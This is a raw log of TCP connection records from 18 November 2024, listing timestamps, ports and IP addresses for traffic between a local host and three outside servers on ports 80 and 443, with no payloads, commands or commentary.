Nov 18, 2024 18:21:44.661349058 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.661362886 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.661372900 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.662172079 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.662204981 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.662226915 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.662230968 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.662250042 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.662275076 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.692759991 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.692828894 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.692863941 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.692881107 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.692893982 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.692924976 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.693233967 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.693270922 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.693286896 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.693314075 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.771364927 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771425962 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771439075 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771523952 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.771796942 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771807909 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771821976 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771836996 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.771845102 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.771853924 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.771867037 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:44.772453070 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:44.772491932 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:48.881536007 CET	80	49165	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:48.881598949 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:52.617294073 CET	49165	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:53.262871027 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:53.262926102 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:53.262981892 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:53.267330885 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:53.267363071 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.478487015 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.478565931 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.485801935 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.485820055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.486296892 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.574336052 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.619335890 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.848352909 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.848378897 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.848582029 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.848598003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.965399027 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.965408087 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.965461969 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.965482950 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.965492010 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.965532064 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.966618061 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.966625929 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.966660023 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:54.966676950 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.966711044 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:54.974693060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.082750082 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.082760096 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.082789898 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.082829952 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.082849979 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.097153902 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.097162962 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.097201109 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.097240925 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.097412109 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.200095892 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.200107098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.200131893 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.200160980 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.200207949 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.214178085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.214194059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.214241028 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.214255095 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.317866087 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.317910910 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.317924023 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.317945957 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.318032980 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.331680059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.331687927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.331713915 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.331728935 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.331746101 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.434355021 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.434365034 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.434393883 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.434461117 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.449013948 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.449023962 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.449045897 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.449069977 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.449085951 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.535907030 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:55.535959959 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:55.536051035 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:55.536381960 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:55.536398888 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:55.553756952 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.553766966 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.553822041 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.553838968 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.565861940 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.565872908 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.565915108 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.565934896 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.670619011 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.670629978 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.670684099 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.670703888 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.683898926 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.683907986 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.683938980 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.683955908 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.683970928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.684020996 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.788418055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.788427114 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.788459063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.788477898 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.788506031 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.789060116 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.789067984 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.789088964 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.789108038 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.789125919 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.804501057 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.804510117 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.804538965 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.804564953 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.804590940 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.905847073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.905857086 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.905914068 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.905930996 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.919826031 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.919858932 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.919883966 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:55.919893980 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:55.919954062 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.256591082 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.256620884 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.256675005 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.256695032 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.257565022 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.257632017 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.257639885 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.258408070 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.258457899 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.258466005 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.260817051 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.260863066 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.260870934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.262355089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.262408972 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.262417078 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.263174057 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.263222933 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.263231993 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.296417952 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.296487093 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.296504974 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.297740936 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.297791004 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.297811985 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.297820091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.299134016 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.299166918 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.299187899 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.299196959 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.301508904 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.413826942 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.413842916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.413904905 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.413928032 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.414855003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.414912939 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.414921999 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.416125059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.416182041 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.416191101 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.440403938 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:56.442611933 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:56.463084936 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:56.463100910 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:56.531063080 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.531234026 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.531290054 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532018900 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532028913 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532058001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532078028 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.532089949 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532690048 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532701015 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532720089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.532731056 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.532737970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.533878088 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.533895016 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.533916950 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.533931017 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.533937931 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.535356998 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.584475994 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.588241100 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:56.588258982 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:56.649068117 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.649084091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.649132967 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.649137974 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.649173021 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.650279999 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.650289059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.650331020 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.650343895 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.651115894 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.651150942 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.651165009 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.651171923 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.651247025 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.766032934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.766046047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.766105890 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.766138077 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.766839027 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.766891003 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.766899109 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.767827988 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.767879009 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.767888069 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.769464016 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.769520998 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.769531965 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.883944035 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.884011984 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.884035110 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.886327982 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.886337042 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.886385918 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.886385918 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.886404991 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.886446953 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.888083935 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888091087 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888117075 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888129950 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.888159037 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.888716936 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888724089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888751030 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:56.888787985 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.888787985 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:56.929316044 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:56.929404020 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:56.929768085 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:56.929889917 CET	49167	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:56.929913998 CET	443	49167	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:57.002305984 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002320051 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002460957 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.002480984 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002733946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002772093 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002779007 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.002791882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.002914906 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.004489899 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.004499912 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.004553080 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.004559994 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.005136967 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.005186081 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.005192995 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.118695021 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.118765116 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.118781090 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.119333029 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.119342089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.119368076 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.119385958 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.119395971 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.119952917 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.120076895 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.120085001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.120120049 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.120136976 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.120167971 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.121108055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.121114969 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.121140957 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.121164083 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.121181965 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.236038923 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.236052990 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.236100912 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.236115932 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.236125946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.237061024 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.237070084 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.237127066 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.237135887 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.238018036 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.238079071 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.238086939 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.245805979 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.245884895 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.245897055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.275158882 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.353210926 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.353224039 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.353285074 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.353302956 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.354331970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.354365110 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.354392052 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.354402065 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.354479074 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.354852915 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.355460882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.355468988 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.355516911 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.357120037 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.357196093 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.357208014 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.399226904 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.399270058 CET	443	49168	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:57.399362087 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.412029982 CET	49169	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:57.415780067 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.415896893 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.415911913 CET	443	49166	142.215.209.78	192.168.2.22
